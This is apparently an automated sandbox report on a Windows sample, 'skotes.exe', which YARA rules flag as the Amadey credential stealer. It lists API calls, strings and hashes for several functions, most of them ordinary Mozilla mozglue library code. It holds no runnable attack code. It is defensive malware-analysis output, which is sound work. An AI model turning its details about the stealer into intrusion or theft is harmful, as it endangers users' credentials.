File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	20:29:00
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc50000
File size:	1'915'904 bytes
MD5 hash:	27497D872004D9B173CA70DE453A9023
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000002.3412884936.0000000000C51000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000003.3286958404.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
__aulldiv.LIBCMT ref: 6C9536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C953773
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C95377E
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9537C4
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9537CB
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C953801
__aulldiv.LIBCMT ref: 6C953883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C953902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C953918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C95394C

Strings

AuthcAMDenti, xrefs: 6C953946
GTC, xrefs: 6C953912
MOZ_TIMESTAMP_MODE, xrefs: 6C9535DB
QPC, xrefs: 6C9538FC
GenuntelineI, xrefs: 6C953639

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction ID: 658b735bf762aebd1eb55ad421c753acc8d8f3b2ac1c6ad5fe1dc3088615d149
Opcode Fuzzy Hash: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction Fuzzy Hash: 4BB193B1B09B009BDB08DF38C85561ABBF5FB8A704F55892DF599E3B90D730E9408B91

Function 6C96C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C96C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C96C969
GetSystemInfo.KERNEL32(?), ref: 6C96C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C96C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C96C9E2

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction ID: 9ee9738c2a8a6c4f9e6c533108214e4a777461f5b42f59fcf86c94ad6a6c57a6
Opcode Fuzzy Hash: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction Fuzzy Hash: 9721C832745A146BEB04AA69DC84BAE7279AB46744F60051AF903B7E80DB60E940C7A1

Function 6C953060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C953095

Part of subcall function 6C9535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
Part of subcall function 6C9535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
Part of subcall function 6C9535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
Part of subcall function 6C9535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
Part of subcall function 6C9535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
Part of subcall function 6C9535A0: __aulldiv.LIBCMT ref: 6C9536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95309F

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9530BE

Part of subcall function 6C9530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C953127
Part of subcall function 6C9530F0: __aulldiv.LIBCMT ref: 6C953140

Part of subcall function 6C98AB2A: __onexit.LIBCMT ref: 6C98AB30

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction ID: b3aebd78f234a2a2590a36ff075f2eaf2ac2b283d8202f17e2f694980101aa9a
Opcode Fuzzy Hash: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction Fuzzy Hash: E8F0A962D29F4C96CB10DF7498421E6B374AF7B118FA4571AF84477A61FB20B1D88391

Non-executed Functions

Function 6C965440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C965492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9654BE
__Init_thread_footer.LIBCMT ref: 6C9654DB

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C965516
GetCurrentThreadId.KERNEL32 ref: 6C96556A
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965577
moz_xmalloc.MOZGLUE(00000070), ref: 6C965585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C965590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9655E6
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C965616

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetCurrentThreadId.KERNEL32 ref: 6C96563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C965646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C96567C
free.MOZGLUE(?), ref: 6C9656AE

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9656E8
GetCurrentThreadId.KERNEL32 ref: 6C965707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C96570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C965729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C96574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C96576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C965796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9657CA

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9654B9
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C965D1C
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9656E3
[I %d/%d] profiler_init, xrefs: 6C96564E
MOZ_BASE_PROFILER_HELP, xrefs: 6C965511
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C96584E
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C965C56
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C965CF9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C965D2B
GeckoMain, xrefs: 6C965554, 6C9655D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C965B38
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9657C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C965AC9
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9654A3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C965D01
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C965749
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C965766
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C965BBE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C965724
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C965791
MOZ_PROFILER_STARTUP, xrefs: 6C9655E1
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C965D24
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9657AE
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C965717
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C96548D

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction ID: dbcd13adabc6b76950f29d284a6a10ca0b35203b47f4cfe3f91f28bc11d472e7
Opcode Fuzzy Hash: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction Fuzzy Hash: 0D222871908B009FFB009F76C45865A77B5AF9634CF554629E84AA7F82EB30E484CB53

Function 6C99B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99B845
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99B852
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99B884
InitializeConditionVariable.KERNEL32(?), ref: 6C99B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C99B9FD
GetCurrentThreadId.KERNEL32 ref: 6C99BA05
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C99BA27
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99BA4B
free.MOZGLUE(?), ref: 6C99C9C7
free.MOZGLUE(?), ref: 6C99C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C99C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C99C7DA

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction ID: 33595b7736bef566392ee73db2a2ff1ddd88cb8ff5169e84838847bee9862f62
Opcode Fuzzy Hash: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction Fuzzy Hash: 9BA28D71A087808FD725CF28C88079BB7F5BFD9318F144A2DE899A7750DB70E9458B92

Function 6C966C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C966CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C966D26

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C966D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C966D73
free.MOZGLUE(00000000), ref: 6C966D80
CertGetNameStringW.CRYPT32 ref: 6C966DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C966DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C966DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C966E10
CryptMsgClose.CRYPT32(00000000), ref: 6C966E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C966E34
CreateFileW.KERNEL32 ref: 6C966EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C966F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C96709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C967103
free.MOZGLUE(00000000), ref: 6C967153
CloseHandle.KERNEL32(?), ref: 6C967176
__Init_thread_footer.LIBCMT ref: 6C967209
__Init_thread_footer.LIBCMT ref: 6C96723A
__Init_thread_footer.LIBCMT ref: 6C96726B
__Init_thread_footer.LIBCMT ref: 6C96729C
__Init_thread_footer.LIBCMT ref: 6C9672DC
__Init_thread_footer.LIBCMT ref: 6C96730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9673C2
VerSetConditionMask.NTDLL ref: 6C9673F3
VerSetConditionMask.NTDLL ref: 6C9673FF
VerSetConditionMask.NTDLL ref: 6C967406
VerSetConditionMask.NTDLL ref: 6C96740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C96741A
moz_xmalloc.MOZGLUE(?), ref: 6C96755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C967568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C967585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C967598
free.MOZGLUE(00000000), ref: 6C9675AC

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

SHA256, xrefs: 6C966EC0
wintrust.dll, xrefs: 6C9672CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C9672C8
(, xrefs: 6C96768A

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction ID: 1af148cfaa595b17f45e2f4d97572ae5f9a3a2cedea4a4921c9536d7c3c72a20
Opcode Fuzzy Hash: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction Fuzzy Hash: CB52D3B1A046149BFB21DF25CC85BAA77BCEF55708F104199E909A7A80DB70EBC4CF91

Function 6C986FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987019
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987061
EnterCriticalSection.KERNEL32(?), ref: 6C9871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C98721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C98723E
EnterCriticalSection.KERNEL32(?), ref: 6C98726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C98733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C98961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C989622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C989642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896DB
AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C989747
GetSystemInfo.KERNEL32(?), ref: 6C989792
__Init_thread_footer.LIBCMT ref: 6C9897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C9897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C989838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C989874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C989895

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9899D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C989933, 6C989A33, 6C989A4E
MOZ_CRASH(), xrefs: 6C989B42
MALLOC_OPTIONS, xrefs: 6C9897CA
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9899BD
Compile-time page size does not divide the runtime one., xrefs: 6C989B38
<jemalloc>, xrefs: 6C989B33, 6C989BE3
: (malloc) Unsupported character in malloc options: ', xrefs: 6C989BF4
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C989993
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9899A8

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
